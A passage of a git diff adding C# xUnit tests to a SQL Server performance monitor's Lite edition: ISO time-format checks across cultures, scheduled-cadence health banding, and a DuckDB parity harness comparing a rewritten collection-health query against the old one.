+        Assert.Equal("2026-11-01 01:30:00 -04:00", Log(Utc(2026, 11, 1, 5, 30), Eastern()).CollectionTimeFormatted);
+        Assert.Equal("2026-11-01 01:30:00 -05:00", Log(Utc(2026, 11, 1, 6, 30), Eastern()).CollectionTimeFormatted);
 
         ServerTimeHelper.CurrentDisplayMode = TimeDisplayMode.UTC;
-        Assert.Equal("11/01/2026 05:30", first.LastSuccessFormatted);
-        Assert.Equal("11/01/2026 06:30", second.LastSuccessFormatted);
-        Assert.Equal("11/01/2026 06:30", Log(Utc(2026, 11, 1, 6, 30), Eastern()).CollectionTimeFormatted);
+        Assert.Equal("2026-11-01 05:30:00", first.LastSuccessFormatted);
+        Assert.Equal("2026-11-01 06:30:00", second.LastSuccessFormatted);
+        Assert.Equal("2026-11-01 06:30:00", Log(Utc(2026, 11, 1, 6, 30), Eastern()).CollectionTimeFormatted);
+    }
+
+    /// <summary>
+    /// F16 of the Lite click-through: Collection Health and Collection Log printed "10/7/2026 7:21 PM" (the current
+    /// culture's short format) while every other grid prints "2026-10-07 19:21:00". The format is fixed, so no culture
+    /// changes it, not even one that reorders the fields.
+    /// </summary>
+    [Theory]
+    [InlineData("en-US")]
+    [InlineData("de-DE")]
+    [InlineData("ja-JP")]
+    public void Times_AreTheSameIsoFormatAsEveryOtherGrid_InAnyCulture(string culture)
+    {
+        CultureInfo.CurrentCulture = CultureInfo.GetCultureInfo(culture);
+        ServerTimeHelper.CurrentDisplayMode = TimeDisplayMode.ServerTime;
+        var instant = Utc(2026, 10, 7, 23, 21);
+
+        Assert.Equal("2026-10-07 19:21:00", Log(instant, Eastern()).CollectionTimeFormatted);
     }
 
     /// <summary>Local mode is this machine's zone, whatever clock the row carries (a summer instant, so no offset).</summary>
@@ -134,7 +152,7 @@ public void LocalMode_IsThisMachinesZone_OnAnyClock()
         ServerTimeHelper.CurrentDisplayMode = TimeDisplayMode.LocalTime;
         var instant = Utc(2026, 7, 1, 14, 30);
         var expected = TimeZoneInfo.ConvertTimeFromUtc(DateTime.SpecifyKind(instant, DateTimeKind.Utc), TimeZoneInfo.Local)
-            .ToString("g", CultureInfo.InvariantCulture);
+            .ToString("yyyy-MM-dd HH:mm:ss", CultureInfo.InvariantCulture);
 
         foreach (var clock in new[] { Eastern(), India() })
         {
@@ -150,8 +168,8 @@ public void ARowWithNoClockStamped_TakesTheActiveTabsClock_AndAMissingTimeKeepsI
         ServerTimeHelper.ActiveServerClock = Eastern();
         ServerTimeHelper.CurrentDisplayMode = TimeDisplayMode.ServerTime;
 
-        Assert.Equal("11/01/2026 01:30 -05:00", Health(Utc(2026, 11, 1, 6, 30), clock: null).LastSuccessFormatted);
-        Assert.Equal("11/01/2026 01:30 -05:00", Log(Utc(2026, 11, 1, 6, 30), clock: null).CollectionTimeFormatted);
+        Assert.Equal("2026-11-01 01:30:00 -05:00", Health(Utc(2026, 11, 1, 6, 30), clock: null).LastSuccessFormatted);
+        Assert.Equal("2026-11-01 01:30:00 -05:00", Log(Utc(2026, 11, 1, 6, 30), clock: null).CollectionTimeFormatted);
 
         var never = new CollectorHealthRow { CollectorName = "wait_stats", Clock = Eastern() };
         Assert.Equal("Never", never.LastSuccessFormatted);
diff --git a/Lite.Tests/CollectionHealthEffectiveCadenceTests.cs b/Lite.Tests/CollectionHealthEffectiveCadenceTests.cs
new file mode 100644
index 0000000000..9edefdddd9
--- /dev/null
+++ b/Lite.Tests/CollectionHealthEffectiveCadenceTests.cs
@@ -0,0 +1,151 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// #4999 (part of #4938): get_collection_health judges a collector against the interval it is SCHEDULED at on the
+/// server, not the one it shipped with. A collector moved to every 720 minutes in Lite's schedule store was banded
+/// against its shipped five, and the sweep-pressure roll-up amortised its run cost by those five too.
+///
+/// <para>The schedule store's answer is <c>ScheduleManager.GetFrequencyForStorageServer</c> (the per-server
+/// override, else the global schedule), run through <see cref="CollectorScheduleDefaults.ResolveFrequencyMinutes"/>
+/// as the analysis lookback does. The tests hand
+/// <see cref="LocalDataService.ApplyScheduledFrequencies"/>, the step the health read runs on every row it builds,
+/// a resolver of their own, so no database is needed.</para>
+/// </summary>
+public sealed class CollectionHealthEffectiveCadenceTests
+{
+    private const string FiveMinute = "memory_clerks";
+    private const int ServerId = 7;
+    private const int OtherServerId = 8;
+
+    private static CollectorHealthRow Row(string name, double avgMs = 0, double p95Ms = 0) =>
+        new() { CollectorName = name, AvgDurationMs = avgMs, P95DurationMs = p95Ms };
+
+    private static void Apply(CollectorHealthRow row, Func<int, string, int?>? resolver) =>
+        LocalDataService.ApplyScheduledFrequencies(new[] { row }, ServerId, resolver);
+
+    /// <summary>The schedule store with one collector on one server scheduled at <paramref name="minutes"/>.</summary>
+    private static Func<int, string, int?> Schedule(int server, string collector, int minutes) =>
+        (id, name) => id == server && name == collector ? minutes : null;
+
+    private static CollectorHealthRow ProductiveRow(string name, double hoursSinceLastSuccess)
+    {
+        var last = DateTime.UtcNow.AddHours(-hoursSinceLastSuccess);
+        return new CollectorHealthRow
+        {
+            CollectorName = name,
+            TotalRuns = 10,
+            SuccessCount = 10,
+            RowsStored = 100,
+            RunsWithRows = 10,
+            LastSuccessTime = last,
+            LastRunTime = last,
+        };
+    }
+
+    [Fact]
+    public void AnOverrideOf720OnAFiveMinuteCollector_IsJudgedAgainst720()
+    {
+        Assert.Equal(5, CollectorScheduleDefaults.All[FiveMinute].FrequencyMinutes);
+
+        var row = Row(FiveMinute, avgMs: 30_000, p95Ms: 30_000);
+        Assert.Equal(5, row.FrequencyMinutes);
+
+        Apply(row, Schedule(ServerId, FiveMinute, 720));
+
+        Assert.Equal(720, row.FrequencyMinutes);
+
+        /* The tool's own expression: the roll-up amortises the run cost by the interval the row carries. */
+        var rows = new[] { row };
+        var pressure = SweepPressureClassifier.Compute(
+            rows.Select(r => (r.CollectorName, r.AvgDurationMs, r.P95DurationMs, r.FrequencyMinutes)));
+        Assert.Equal(30_000.0 / 720, pressure.BusyMsPerMinute, 3);
+        Assert.Equal(720, pressure.PeakCollectorFrequencyMinutes);
+    }
+
+    [Fact]
+    public void TheBandJudgesAgainstTheScheduledInterval_NotTheShippedOne()
+    {
+        /* Six hours since the newest success: past the four-hour floor a five-minute collector goes STALE at, well
+           inside the 18 hours (one and a half intervals) a 720-minute collector gets. */
+        var shipped = ProductiveRow(FiveMinute, hoursSinceLastSuccess: 6);
+        Assert.Equal(CollectorHealthClassifier.Stale, shipped.HealthStatus);
+
+        var scheduled = ProductiveRow(FiveMinute, hoursSinceLastSuccess: 6);
+        Apply(scheduled, Schedule(ServerId, FiveMinute, 720));
+        Assert.Equal(CollectorHealthClassifier.Healthy, scheduled.HealthStatus);
+    }
+
+    [Fact]
+    public void AnotherServersScheduleIsIgnored_AndAnUnwiredStoreLeavesTheShippedCadence()
+    {
+        var elsewhere = Row(FiveMinute);
+        Apply(elsewhere, Schedule(OtherServerId, FiveMinute, 720));
+        Assert.Equal(5, elsewhere.FrequencyMinutes);
+
+        var unwired = Row(FiveMinute);
+        Apply(unwired, null);
+        Assert.Null(unwired.EffectiveFrequencyMinutes);
+        Assert.Equal(5, unwired.FrequencyMinutes);
+    }
+
+    [Fact]
+    public void AnOnLoadCollectorReadsAsItsDailyRecapture_AndAnUnknownNameIsLeftAlone()
+    {
+        var onLoad = Row("server_config");
+        Apply(onLoad, (_, _) => null);
+        Assert.Equal(CollectorScheduleDefaults.OnLoadRecaptureMinutes, onLoad.FrequencyMinutes);
+
+        var unknown = Row("not_a_collector");
+        Apply(unknown, (_, _) => 720);
+        Assert.Null(unknown.EffectiveFrequencyMinutes);
+        Assert.Equal(0, unknown.FrequencyMinutes);
+    }
+
+    /// <summary>
+    /// The host hands the health read the same schedule answer it hands the analysis tools, through the one
+    /// storage-server resolution, and the read stamps its rows before returning them.
+    /// </summary>
+    [Fact]
+    public void TheHostWiresTheScheduleStore_AndTheReadStampsItsRows()
+    {
+        var host = File.ReadAllText(Path.Combine(RepoRoot(), "Lite", "Mcp", "McpHostService.cs"));
+        Assert.Contains(
+            "dataService.CollectorFrequencyMinutes = scheduleManager is null", host, StringComparison.Ordinal);
+        Assert.Contains(
+            "scheduleManager.GetFrequencyForStorageServer(serverManager, serverId, collector)", host, StringComparison.Ordinal);
+
+        var reader = File.ReadAllText(Path.Combine(RepoRoot(), "Lite", "Services", "LocalDataService.CollectionHealth.cs"));
+        Assert.Contains("ApplyScheduledFrequencies(items, serverId, CollectorFrequencyMinutes);", reader, StringComparison.Ordinal);
+    }
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "")
+    {
+        var dir = Path.GetDirectoryName(thisFile)!;
+        while (dir is not null
+               && !File.Exists(Path.Combine(dir, "PerformanceMonitor.sln"))
+               && !Directory.Exists(Path.Combine(dir, ".git")))
+        {
+            dir = Path.GetDirectoryName(dir);
+        }
+
+        Assert.NotNull(dir);
+        return dir!;
+    }
+}
diff --git a/Lite.Tests/CollectionHealthKeyedLookupParityTests.cs b/Lite.Tests/CollectionHealthKeyedLookupParityTests.cs
new file mode 100644
index 0000000000..c4319d8623
--- /dev/null
+++ b/Lite.Tests/CollectionHealthKeyedLookupParityTests.cs
@@ -0,0 +1,514 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.IO;
+using System.Linq;
+using System.Text;
+using System.Text.Json;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #5371: Lite's Collection Health read no longer ranks every run of the 7-day window four times. It is one
+/// pass of plain aggregates per collector, then one keyed lookup per newest-row column, each reading only the
+/// rows AT an instant the aggregate already found (Darling's #4955 shape, with the lookups as aggregates so
+/// DuckDB plans no window of its own).
+///
+/// <para><b>What these pin.</b> The oracle tests run today's statement (<see cref="CollectionHealthOracleSql"/>,
+/// kept verbatim) and the shipped one over the SAME seeded store, hot table plus a real parquet archive file so
+/// the view's union is real, and require every column of every row to agree in name, type and value - including
+/// every tie-break the old ranks defined. The mutation tests then plant a tie-break flip in the shipped text and
+/// require the comparison to go red, so a harness that compared nothing could not pass. The plan tests pin the
+/// shape the rewrite exists for: no window operator, and a parquet scan that carries the window filter.</para>
+///
+/// <para><b>What they do NOT pin.</b> A timing. No store from the field was timed for #5371; the 248 s reading
+/// is not reproduced here and these tests make no claim about it.</para>
+///
+/// <para>One tie the old statement left undefined is deliberately not seeded: two rows sharing BOTH an instant
+/// and a status with different notes or fan-out columns, or a zero-row success sharing both with the first
+/// streak breaker. The old ranks ordered those arbitrarily, so there is no answer to hold the new one to.</para>
+/// </summary>
+public sealed class CollectionHealthKeyedLookupParityTests : IClassFixture<SharedDuckDbFixture>, IDisposable
+{
+    private const int ServerId = 5371;
+    private const int OtherServerId = 5372;
+    private const string ArchiveFileName = "202610_collection_log.parquet";
+    private const string BudgetNote = "wall-clock budget (600s) reached; cycle abandoned";
+
+    private readonly DuckDbInitializer _duckDb;
+    private readonly DateTime _now;
+    private long _nextId = 1;
+    private long _nextArchivedId = 1_000_000;
+
+    public CollectionHealthKeyedLookupParityTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+        var t = DateTime.UtcNow;
+        _now = new DateTime(t.Year, t.Month, t.Day, t.Hour, t.Minute, t.Second, DateTimeKind.Unspecified);
+    }
+
+    public void Dispose() => DeleteArchiveFile();
+
+    private string ArchiveFile => Path.Combine(_duckDb.ArchivePath, ArchiveFileName);
+
+    private void DeleteArchiveFile()
+    {
+        try { if (File.Exists(ArchiveFile)) File.Delete(ArchiveFile); }
+        catch { /* best effort: the fixture removes the whole folder */ }
+    }
+
+    private sealed record Run(
+        string Collector,
+        int MinutesAgo,
+        string Status,
+        string? Message = null,
+        int? DurationMs = 100,
+        int? RowsCollected = 10,
+        int? FanoutItems = null,
+        string? SlowestItem = null,
+        int? SlowestItemMs = null,
+        bool Archived = false,
+        int Server = ServerId);
+
+    private static Run Ok(string c, int ago, string? message = null, int? rows = 0, int? duration = 100) =>
+        new(c, ago, "SUCCESS", message, duration, rows);
+
+    /// <summary>Every case the analysis names, one collector each, so a disagreement names the case.</summary>
+    private List<Run> Cases()
+    {
+        var r = new List<Run>
+        {
+            /* Two rows at one instant, different statuses: the greater status is the newest run (SUCCESS beats
+               SKIPPED), and its note is the latest_run_note. */
+            Ok("tie_status", 60, rows: 5),
+            Ok("tie_status", 10, "note at ten", rows: 0),
+            new("tie_status", 10, "SKIPPED", null, 100, 0),
+            /* The hazard the keyed lookup could have walked into: the winning status carries NO note while the
+               loser does. Another row's note must not surface as the newest run's. */
+            Ok("tie_status_null_winner", 10, null, rows: 0),
+            new("tie_status_null_winner", 10, "SKIPPED", "other note", 100, 0),
+
+            /* Two (three) failure texts at one instant: the greater message wins, whatever its status within
+               the failing set. An older failure and a newer failure with NO text sit around them. */
+            new("tie_error_text", 50, "ERROR", "mmm older", 100, 0),
+            new("tie_error_text", 20, "ERROR", "aaa tie", 100, 0),
+            new("tie_error_text", 20, "PERMISSIONS", "zzz tie", 100, 0),
+            new("tie_error_text", 20, "ERROR", "qqq tie", 100, 0),
+            new("tie_error_text", 5, "ERROR", null, 100, 0),
+
+            /* Notes older than a clean run: the note survives a later clean run, the newest run's note is NULL. */
+            Ok("notes_older_than_clean", 100, "old note"),
+            Ok("notes_older_than_clean", 30, "newer note"),
+            Ok("notes_older_than_clean", 5, null),
+            /* Two notes at one instant: the greater message wins (a later clean run sits after them). */
+            Ok("tie_note_text", 30, "aaa note"),
+            Ok("tie_note_text", 30, "zzz note"),
+            Ok("tie_note_text", 20, null),
+            /* A SUCCESS note must never read as a last error when no failure carried text. */
+            new("note_not_an_error", 40, "ERROR", null, 100, 0),
+            Ok("note_not_an_error", 20, "only a note"),
+
+            /* Fan-out tie: two runs share the dearest item (900 ms), the NEWER one is the row; a dearer-looking
+               duration elsewhere must not win. */
+            new("fanout_tie", 300, "SUCCESS", null, 1000, 5, 5, "dbA", 900),
+            new("fanout_tie", 200, "SUCCESS", null, 1100, 5, 6, "dbB", 900),
+            new("fanout_tie", 100, "SUCCESS", null, 2000, 5, 7, "dbC", 400),
+            new("fanout_tie", 50, "SUCCESS", null, 50, 5),
+            /* No dearest item at all: the row is the newest run, whatever it carries. */
+            new("fanout_none", 300, "SUCCESS", null, 10, 5),
+            new("fanout_none", 200, "SUCCESS", null, 20, 5),
+            new("fanout_none", 100, "SUCCESS", null, 77, 5, 3, null, null),
+
+            /* The zero-row-success streak, in every shape. */
+            Ok("streak_trailing", 500, rows: 9),
+            Ok("streak_trailing", 400), Ok("streak_trailing", 300), Ok("streak_trailing", 200), Ok("streak_trailing", 100),
+            /* No run breaks it (a NULL rows_collected counts as zero): the answer is the window's run count. */
+            Ok("streak_never_broken", 400), Ok("streak_never_broken", 300),
+            new("streak_never_broken", 200, "SUCCESS", null, 100, null),
+            Ok("streak_never_broken", 100),
+            /* The newest run itself breaks it. */
+            Ok("streak_broken_now", 300), Ok("streak_broken_now", 200),
+            new("streak_broken_now", 100, "ERROR", "boom", 100, 0),
+            /* A breaker and a zero-row SUCCESS at one instant. SUCCESS sorts after ERROR in status DESC, so it is
+               AHEAD of the breaker and counts: 100, 50 and the tied SUCCESS = 3. */
+            Ok("streak_tie_success_ahead", 400), Ok("streak_tie_success_ahead", 300),
+            new("streak_tie_success_ahead", 200, "ERROR", "tied breaker", 100, 0),
+            Ok("streak_tie_success_ahead", 200),
+            Ok("streak_tie_success_ahead", 100), Ok("streak_tie_success_ahead", 50),
+            /* YIELDED sorts BEFORE SUCCESS, so the tied SUCCESS is behind the breaker: only 100 and 50 count. */
+            Ok("streak_tie_breaker_ahead", 400),
+            new("streak_tie_breaker_ahead", 200, "YIELDED", null, 100, 0),
+            Ok("streak_tie_breaker_ahead", 200),
+            Ok("streak_tie_breaker_ahead", 100), Ok("streak_tie_breaker_ahead", 50),
+            /* A pre-#2803 abandonment (SUCCESS, zero rows, the budget note) is data LOSS and breaks the streak. */
+            Ok("streak_abandoned_note", 300),
+            Ok("streak_abandoned_note", 200, BudgetNote),
+            Ok("streak_abandoned_note", 100),
+            new("streak_abandoned_note", 50, "ABANDONED", BudgetNote, 100, 0),
+
+            /* A skip streak: the status changes along it, a failure with no text is the newest failure. */
+            Ok("skip_streak", 500, rows: 3),
+            new("skip_streak", 400, "SESSION_MISSING", null, 100, 0),
+            new("skip_streak", 300, "EXTENSION_MISSING", "ext missing", 100, 0),
+            new("skip_streak", 200, "PERMISSIONS", "denied", 100, 0),
+            new("skip_streak", 100, "PERMISSIONS", null, 100, 0),
+
+            /* Rows split between the hot table and the parquet archive, plus one older than the window (it must
+               stay out). The newest note and newest text-bearing failure live in the archive; the failure tie
+               at 8000 minutes ago spans BOTH sides of the union, so the greater message is the hot one. */
+            new("split_hot_parquet", 12000, "ERROR", "ancient, outside the window", 100, 0, Archived: true),
+            Ok("split_hot_parquet", 9000, "archived note", rows: 0) with { Archived = true },
+            new("split_hot_parquet", 8000, "ERROR", "archived error", 100, 0, Archived: true),
+            new("split_hot_parquet", 8000, "ERROR", "zz hot error", 100, 0),
+            new("split_hot_parquet", 7000, "SUCCESS", null, 4000, 8, 4, "dbX", 1500, Archived: true),
+            Ok("split_hot_parquet", 60, rows: 6),
+            new("archive_only", 9500, "SUCCESS", "archived only", 100, 0, Archived: true),
+            new("archive_only", 9400, "SUCCESS", null, 100, 5, Archived: true),
+
+            /* Counters and the odd rows: yields, extension misses, NULL durations and row counts. */
+            new("counters", 90, "YIELDED", null, null, null),
+            new("counters", 80, "YIELDED", null, 120, 0),
+            new("counters", 70, "EXTENSION_MISSING", "ext", 130, 0),
+            new("counters", 60, "SESSION_MISSING", null, 140, 0),
+            new("counters", 50, "SUCCESS", null, null, null),
+            new("counters", 40, "ERROR", "err", 150, 2),
+
+            /* Another server's rows for the same collector names, newer than ours: the server key must hold. */
+            new("tie_status", 1, "ERROR", "other server error", 100, 0, Server: OtherServerId),
+            new("fanout_tie", 1, "SUCCESS", "other server note", 9999, 5, 99, "dbZ", 9999, Server: OtherServerId),
+        };
+        return r;
+    }
+
+    private async Task SeedStoreAsync()
+    {
+        DeleteArchiveFile();
+        Directory.CreateDirectory(_duckDb.ArchivePath);
+
+        using (var connection = _duckDb.CreateConnection())
+        {
+            await connection.OpenAsync(TestContext.Current.CancellationToken);
+            using (var batch = new SeedBatch(_duckDb, connection))
+            {
+                foreach (var run in Cases())
+                {
+                    using var readLock = _duckDb.AcquireReadLock();
+                    using var cmd = connection.CreateCommand();
+                    cmd.CommandText = @"
+INSERT INTO collection_log
+    (log_id, server_id, server_name, collector_name, collection_time,
+     duration_ms, status, error_message, rows_collected, sql_duration_ms, duckdb_duration_ms,
+     fanout_item_count, slowest_item, slowest_item_ms)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14)";
+                    cmd.Parameters.Add(new DuckDBParameter { Value = run.Archived ? _nextArchivedId++ : _nextId++ });
+                    cmd.Parameters.Add(new DuckDBParameter { Value = run.Server });
+                    cmd.Parameters.Add(new DuckDBParameter { Value = "TestSrv" });
+                    cmd.Parameters.Add(new DuckDBParameter { Value = run.Collector });
+                    cmd.Parameters.Add(new DuckDBParameter { Value = _now.AddMinutes(-run.MinutesAgo) });
+                    cmd.Parameters.Add(new DuckDBParameter { Value = (object?)run.DurationMs ?? DBNull.Value });
+                    cmd.Parameters.Add(new DuckDBParameter { Value = run.Status });
+                    cmd.Parameters.Add(new DuckDBParameter { Value = (object?)run.Message ?? DBNull.Value });
+                    cmd.Parameters.Add(new DuckDBParameter { Value = (object?)run.RowsCollected ?? DBNull.Value });
+                    cmd.Parameters.Add(new DuckDBParameter { Value = 80 });
+                    cmd.Parameters.Add(new DuckDBParameter { Value = 20 });
+                    cmd.Parameters.Add(new DuckDBParameter { Value = (object?)run.FanoutItems ?? DBNull.Value });
+                    cmd.Parameters.Add(new DuckDBParameter { Value = (object?)run.SlowestItem ?? DBNull.Value });
+                    cmd.Parameters.Add(new DuckDBParameter { Value = (object?)run.SlowestItemMs ?? DBNull.Value });
+                    await cmd.ExecuteNonQueryAsync(TestContext.Current.CancellationToken);
+                }
+
+                /* Archive the flagged rows the way archival does: COPY them out to the table's parquet file, then
+                   remove them from the hot table, so the rows exist ONLY on the parquet side of the view. */
+                var path = ArchiveFile.Replace("\\", "/");
+                foreach (var sql in new[]
+                {
+                    $"COPY (SELECT * FROM collection_log WHERE log_id >= 1000000 ORDER BY log_id) TO '{path}' (FORMAT PARQUET)",
+                    "DELETE FROM collection_log WHERE log_id >= 1000000",
+                    $"INSERT INTO database_size_stats (collection_id, server_id, server_name, collection_time, database_name, database_id, file_id, file_type_desc, file_name, total_size_mb) VALUES (1, {ServerId}, 'TestSrv', TIMESTAMP '{_now.AddMinutes(-30):yyyy-MM-dd HH:mm:ss}', 'userdb', 5, 1, 'ROWS', 'data_0', 4.00)",
+                })
+                {
+                    using var readLock = _duckDb.AcquireReadLock();
+                    using var cmd = connection.CreateCommand();
+                    cmd.CommandText = sql;
+                    await cmd.ExecuteNonQueryAsync(TestContext.Current.CancellationToken);
+                }
+
+                batch.Commit();
+            }
+        }
+
+        await _duckDb.CreateArchiveViewsAsync();
+    }
+
+    private sealed record Result(string[] Names, Type[] Types, List<object?[]> Rows);
+
+    private async Task<Result> RunAsync(string sql)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        using var connection = _duckDb.CreateConnection();
+        await connection.OpenAsync(TestContext.Current.CancellationToken);
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = sql;
+        cmd.Parameters.Add(new DuckDBParameter { Value = ServerId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = _now.AddDays(-7) });
+        using var reader = await cmd.ExecuteReaderAsync(TestContext.Current.CancellationToken);
+
+        var names = Enumerable.Range(0, reader.FieldCount).Select(reader.GetName).ToArray();
+        var types = Enumerable.Range(0, reader.FieldCount).Select(reader.GetFieldType).ToArray();
+        var rows = new List<object?[]>();
+        while (await reader.ReadAsync(TestContext.Current.CancellationToken))
+        {
+            var row = new object?[reader.FieldCount];
+            for (var i = 0; i < row.Length; i++)
+                row[i] = reader.IsDBNull(i) ? null : reader.GetValue(i);
+            rows.Add(row);
+        }
+        return new Result(names, types, rows);
+    }
+
+    /// <summary>Every disagreement between the oracle and the candidate, named by collector and column.</summary>
+    private static List<string> Differences(Result oracle, Result candidate)
+    {
+        var diffs = new List<string>();
+        if (oracle.Names.Length != candidate.Names.Length)
+        {
+            diffs.Add($"column count {oracle.Names.Length} vs {candidate.Names.Length}");
+            return diffs;
+        }
+        for (var i = 0; i < oracle.Names.Length; i++)
+        {
+            if (oracle.Names[i] != candidate.Names[i])
+                diffs.Add($"column {i} name '{oracle.Names[i]}' vs '{candidate.Names[i]}'");
+            if (oracle.Types[i] != candidate.Types[i])
+                diffs.Add($"column {oracle.Names[i]} type {oracle.Types[i].Name} vs {candidate.Types[i].Name}");
+        }
+        if (oracle.Rows.Count != candidate.Rows.Count)
+        {
+            diffs.Add($"row count {oracle.Rows.Count} vs {candidate.Rows.Count}");
+            return diffs;
+        }
+        for (var r = 0; r < oracle.Rows.Count; r++)
+        {
+            for (var c = 0; c < oracle.Names.Length; c++)
+            {
+                var a = oracle.Rows[r][c];
+                var b = candidate.Rows[r][c];
+                var same = a is double da && b is double db
+                    ? Math.Abs(da - db) <= 1e-9 * Math.Max(1.0, Math.Abs(da))
+                    : Equals(a, b);
+                if (!same)
+                    diffs.Add($"{oracle.Rows[r][0]}.{oracle.Names[c]}: oracle {Show(a)} vs candidate {Show(b)}");
+            }
+        }
+        return diffs;
+    }
+
+    private static string Show(object? v) => v switch
+    {
+        null => "NULL",
+        DateTime d => d.ToString("O", CultureInfo.InvariantCulture),
+        _ => Convert.ToString(v, CultureInfo.InvariantCulture) ?? "",
+    };
+
+    private static object? Cell(Result result, string collector, string column)
+    {
+        var col = Array.IndexOf(result.Names, column);
+        Assert.True(col >= 0, "no column " + column);
+        return result.Rows.Single(r => (string?)r[0] == collector)[col];
+    }
+
+    [Fact]
+    public async Task ShippedStatement_AgreesWithTheOldRankedOne_OnEveryColumnOfEveryRow()
+    {
+        await SeedStoreAsync();
+
+        var oracle = await RunAsync(CollectionHealthOracleSql.Lite);
+        var candidate = await RunAsync(LocalDataService.CollectionHealthSql);
+
+        Assert.Equal(31, oracle.Names.Length);
+        Assert.Equal(oracle.Rows.Select(r => (string?)r[0]).Distinct().Count(), oracle.Rows.Count);
+        Assert.Equal(
+            new[] { "tie_status", "tie_status_null_winner", "tie_error_text", "notes_older_than_clean", "tie_note_text", "note_not_an_error", "fanout_tie",
+             "fanout_none", "streak_trailing", "streak_never_broken", "streak_broken_now", "streak_tie_success_ahead",
+             "streak_tie_breaker_ahead", "streak_abandoned_note", "skip_streak", "split_hot_parquet", "archive_only", "counters" }
+                .Order(StringComparer.Ordinal),
+            oracle.Rows.Select(r => (string)r[0]!).ToArray());
+
+        Assert.True(Differences(oracle, candidate).Count == 0, string.Join(Environment.NewLine, Differences(oracle, candidate)));
+    }
+
+    /// <summary>
+    /// The oracle could be wrong the same way the candidate is, so the answers the analysis names are asserted
+    /// against literals as well, on the shipped statement.
+    /// </summary>
+    [Fact]
+    public async Task ShippedStatement_GivesTheNamedAnswers_ForEachTieAndEdge()
+    {
+        await SeedStoreAsync();
+        var r = await RunAsync(LocalDataService.CollectionHealthSql);
+
+        Assert.Equal("SUCCESS", Cell(r, "tie_status", "current_status"));
+        Assert.Equal("note at ten", Cell(r, "tie_status", "latest_run_note"));
+        Assert.Equal("SUCCESS", Cell(r, "tie_status_null_winner", "current_status"));
+        Assert.Null(Cell(r, "tie_status_null_winner", "latest_run_note"));
+
+        Assert.Equal("zzz tie", Cell(r, "tie_error_text", "last_error"));
+        Assert.Equal(_now.AddMinutes(-5), Cell(r, "tie_error_text", "last_error_time"));
+
+        Assert.Equal("newer note", Cell(r, "notes_older_than_clean", "last_note"));
+        Assert.Null(Cell(r, "notes_older_than_clean", "latest_run_note"));
+        Assert.Equal("zzz note", Cell(r, "tie_note_text", "last_note"));
+        Assert.Null(Cell(r, "note_not_an_error", "last_error"));
+        Assert.Equal("only a note", Cell(r, "note_not_an_error", "last_note"));
+
+        Assert.Equal(6, Cell(r, "fanout_tie", "fanout_items"));
+        Assert.Equal("dbB", Cell(r, "fanout_tie", "slowest_item"));
+        Assert.Equal(900, Cell(r, "fanout_tie", "slowest_item_ms"));
+        Assert.Equal(1100, Cell(r, "fanout_tie", "slowest_run_duration_ms"));
+        Assert.Equal(3, Cell(r, "fanout_none", "fanout_items"));
+        Assert.Null(Cell(r, "fanout_none", "slowest_item_ms"));
+        Assert.Equal(77, Cell(r, "fanout_none", "slowest_run_duration_ms"));
+
+        Assert.Equal(4L, Convert.ToInt64(Cell(r, "streak_trailing", "trailing_zero_row_success_runs")));
+        Assert.Equal(4L, Convert.ToInt64(Cell(r, "streak_never_broken", "trailing_zero_row_success_runs")));
+        Assert.Equal(0L, Convert.ToInt64(Cell(r, "streak_broken_now", "trailing_zero_row_success_runs")));
+        Assert.Equal(3L, Convert.ToInt64(Cell(r, "streak_tie_success_ahead", "trailing_zero_row_success_runs")));
+        Assert.Equal(2L, Convert.ToInt64(Cell(r, "streak_tie_breaker_ahead", "trailing_zero_row_success_runs")));
+        Assert.Equal(0L, Convert.ToInt64(Cell(r, "streak_abandoned_note", "trailing_zero_row_success_runs")));
+
+        Assert.Equal("PERMISSIONS", Cell(r, "skip_streak", "current_status"));
+        Assert.Equal("denied", Cell(r, "skip_streak", "last_error"));
+        Assert.Equal(_now.AddMinutes(-100), Cell(r, "skip_streak", "last_error_time"));
+
+        /* Rows in the archive are read, the one older than the window is not, and a tie across the union goes
+           to the greater message wherever it lives. */
+        Assert.Equal("zz hot error", Cell(r, "split_hot_parquet", "last_error"));
+        Assert.Equal("archived note", Cell(r, "split_hot_parquet", "last_note"));
+        Assert.Equal(1500, Cell(r, "split_hot_parquet", "slowest_item_ms"));
+        Assert.Equal("archived only", Cell(r, "archive_only", "last_note"));
+        Assert.Equal(2L, Convert.ToInt64(Cell(r, "archive_only", "total_runs")));
+        Assert.Equal(1, Convert.ToInt32(Cell(r, "archive_only", "has_user_databases")));
+    }
+
+    [Theory]
+    [InlineData("MAX(f.error_message) AS error_message", "MIN(f.error_message) AS error_message", "failure text tie-break")]
+    [InlineData("MAX(t.error_message) AS error_message", "MIN(t.error_message) AS error_message", "note tie-break")]
+    [InlineData("arg_max(struct_pack(status := n.status", "arg_min(struct_pack(status := n.status", "newest-run status tie-break")]
+    [InlineData("d.collection_time) AS pick", "-epoch_ms(d.collection_time)) AS pick", "dearest item newest-of-tied")]
+    [InlineData("s.status > h.last_streak_break_status", "s.status < h.last_streak_break_status", "streak status tie-break")]
+    public async Task APlantedTieBreakFlip_MakesTheOracleComparisonGoRed(string from, string to, string what)
+    {
+        var sql = LocalDataService.CollectionHealthSql;
